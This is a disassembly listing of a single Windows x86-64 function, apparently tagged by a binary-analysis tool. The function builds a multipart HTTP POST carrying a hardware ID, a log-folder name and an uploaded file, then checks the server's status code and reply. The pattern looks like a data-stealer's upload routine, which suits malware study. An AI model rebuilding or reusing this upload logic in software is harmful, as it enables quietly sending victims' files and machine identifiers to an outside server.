Function at 0x1400093c0
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xac0
mov rax, qword [0x1400f1290]
xor rax, rsp
mov qword [rsp + 0xab0], rax
mov dword [rsp + 0x48], 0
call qword [0x1400f5450]
test eax, eax
jne 0x140009406
xor eax, eax
jmp 0x140009a9b
mov qword [rsp + 0x40], 0
mov edx, 0x2710
mov ecx, 0x40
call qword [0x1400f4c88]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140009a97
xor eax, eax
mov word [rsp + 0x330], ax
lea rax, [rsp + 0x332]
mov rdi, rax
xor eax, eax
mov ecx, 0x256
rep stosb byte [rdi], al
xor eax, eax
mov word [rsp + 0xd0], ax
lea rax, [rsp + 0xd2]
mov rdi, rax
xor eax, eax
mov ecx, 0x256
rep stosb byte [rdi], al
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400c2980
mov dword [rsp + 0x50], 0x68
lea rax, [rsp + 0x330]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], 0x12c
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa0], 0x12c
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xb08]
call qword [0x1400f5458]
cmp eax, 1
jne 0x140009a8c
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0xb10]
call qword [0x1400f5460]
mov qword [rsp + 0x590], rax
cmp qword [rsp + 0x590], 0
je 0x140009a8c
mov dword [rsp + 0x598], 0xaa0
mov r9d, 4
lea r8, [rsp + 0x598]
mov edx, 0x54
mov rcx, qword [rsp + 0x590]
call qword [0x1400f5468]
cmp eax, 1
jne 0x140009a8c
xor r9d, r9d
movzx r8d, word [rsp + 0x74]
lea rdx, [rsp + 0x330]
mov rcx, qword [rsp + 0x590]
call qword [0x1400f5478]
mov qword [rsp + 0x5a0], rax
cmp qword [rsp + 0x5a0], 0
je 0x140009a73
movzx eax, word [rsp + 0x74]
cmp eax, 0x1bb
jne 0x140009593
mov dword [rsp + 0xaac], 0x800000
jmp 0x14000959e
mov dword [rsp + 0xaac], 0
mov eax, dword [rsp + 0xaac]
mov dword [rsp + 0x5a8], eax
mov eax, dword [rsp + 0x5a8]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0xd0]
lea rdx, str.POST
mov rcx, qword [rsp + 0x5a0]
call qword [0x1400f5480]
mov qword [rsp + 0x5b0], rax
cmp qword [rsp + 0x5b0], 0
je 0x140009a5a
mov rax, qword [rsp + 0xad0]
mov rcx, qword [rsp + 0x5b0]
mov qword [rax], rcx
mov dword [rsp + 0x5b8], 0
cmp dword [rsp + 0xad8], 1
jne 0x140009663
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0xae8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xae0]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54b8]
mov dword [rsp + 0x5b8], eax
cmp dword [rsp + 0xad8], 0
je 0x140009689
cmp dword [rsp + 0xad8], 1
jne 0x140009a41
cmp dword [rsp + 0x5b8], 1
jne 0x140009a41
xor eax, eax
mov word [rsp + 0x9c0], ax
lea rax, [rsp + 0x9c2]
mov rdi, rax
xor eax, eax
mov ecx, 0xc6
rep stosb byte [rdi], al
lea r8, str.Content_Type:_multipart_form_data__boundarypart_r_n
mov edx, 0x64
lea rcx, [rsp + 0x9c0]
call fcn.1400c2880
mov r9d, 0x20000000
mov r8d, 0xffffffff
lea rdx, [rsp + 0x9c0]
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54c0]
mov r9, qword [rsp + 0x68]
lea r8, str.Host:__s
mov edx, 0x64
lea rcx, [rsp + 0x9c0]
call fcn.1400c2880
mov r9d, 0x20000000
mov r8d, 0xffffffff
lea rdx, [rsp + 0x9c0]
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54c0]
mov rax, qword [rsp + 0xb00]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb18]
lea r8, str.__part_r_nContent_Type:_text_plain__charset_UTF_8__r_nContent_Disposition:_form_data__name_hwid__r_n_r_n_S_r_n__part_r_nContent_Type:_text_plain__charset_UTF_8__r_nContent_Disposition:_form_data__name_logfoldername__r_n_r_n_S_r_n__part_r_nContent_Type:_application_octet_stream_r_nContent_Disposition:_form_data__name_uploaded_file___filename__S__r_n_r_n
mov edx, 0x1388
lea rcx, [0x1400f3810]
call fcn.1400c2f70
mov dword [rsp + 0x9b0], eax
mov byte [rsp + 0x5c0], 0
lea rax, [rsp + 0x5c1]
mov rdi, rax
xor eax, eax
mov ecx, 0x3e7
rep stosb byte [rdi], al
lea r8, str._r_n__part__
mov edx, 0x64
lea rcx, [rsp + 0x5c0]
call fcn.1400c2f70
mov dword [rsp + 0x9b4], eax
mov eax, dword [rsp + 0x9b0]
mov ecx, dword [rsp + 0xaf8]
add ecx, eax
mov eax, ecx
add eax, dword [rsp + 0x9b4]
mov dword [rsp + 0x5bc], eax
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x5bc]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f5488]
cmp eax, 1
jne 0x140009a41
mov dword [rsp + 0xa90], 0
lea r9, [rsp + 0xa90]
mov r8d, dword [rsp + 0x9b0]
lea rdx, [0x1400f3810]
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54c8]
cmp eax, 1
jne 0x140009a41
lea r9, [rsp + 0xa90]
mov r8d, dword [rsp + 0xaf8]
mov rdx, qword [rsp + 0xaf0]
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54c8]
cmp eax, 1
jne 0x140009a41
lea r9, [rsp + 0xa90]
mov r8d, dword [rsp + 0x9b4]
lea rdx, [rsp + 0x5c0]
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54c8]
cmp eax, 1
jne 0x140009a41
xor edx, edx
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f5490]
cmp eax, 1
jne 0x140009a41
mov dword [rsp + 0xa94], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0xa94]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x13
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f5498]
test eax, eax
jne 0x140009a41
mov qword [rsp + 0xa98], 0
mov eax, dword [rsp + 0xa94]
mov edx, eax
mov ecx, 0x40
call qword [0x1400f4c88]
mov qword [rsp + 0xa98], rax
cmp qword [rsp + 0xa98], 0
je 0x140009a41
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0xa94]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa98]
xor r8d, r8d
mov edx, 0x13
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f5498]
cmp eax, 1
jne 0x140009a33
mov rcx, qword [rsp + 0xa98]
call fcn.1400c33a8
mov dword [rsp + 0xaa0], eax
cmp dword [rsp + 0xaa0], 0xc8
jne 0x140009a33
mov dword [rsp + 0xaa4], 0
lea rdx, [rsp + 0xaa4]
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54a0]
cmp eax, 1
jne 0x140009a33
cmp dword [rsp + 0xaa4], 0
jbe 0x140009a33
lea r9, [rsp + 0xaa8]
mov r8d, dword [rsp + 0xaa4]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54a8]
cmp eax, 1
jne 0x140009a33
mov r8d, 1
lea rdx, [0x1400d6924]
mov rcx, qword [rsp + 0x40]
call fcn.1400c32e0
test eax, eax
jne 0x140009a06
mov dword [rsp + 0x48], 1
jmp 0x140009a33
mov r8d, 1
lea rdx, [0x1400d6954]
mov rcx, qword [rsp + 0x40]
call fcn.1400c32e0
test eax, eax
jne 0x140009a2b
mov dword [rsp + 0x48], 2
jmp 0x140009a33
mov dword [rsp + 0x48], 0
mov rcx, qword [rsp + 0xa98]
call qword [0x1400f4ca0]
cmp qword [rsp + 0x5b0], 0
je 0x140009a5a
mov rcx, qword [rsp + 0x5b0]
call qword [0x1400f54b0]
cmp qword [rsp + 0x5a0], 0
je 0x140009a73
mov rcx, qword [rsp + 0x5a0]
call qword [0x1400f54b0]
cmp qword [rsp + 0x590], 0
je 0x140009a8c
mov rcx, qword [rsp + 0x590]
call qword [0x1400f54b0]
mov rcx, qword [rsp + 0x40]
call qword [0x1400f4ca0]
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0xab0]
xor rcx, rsp
call fcn.1400c2a80
add rsp, 0xac0
pop rdi
ret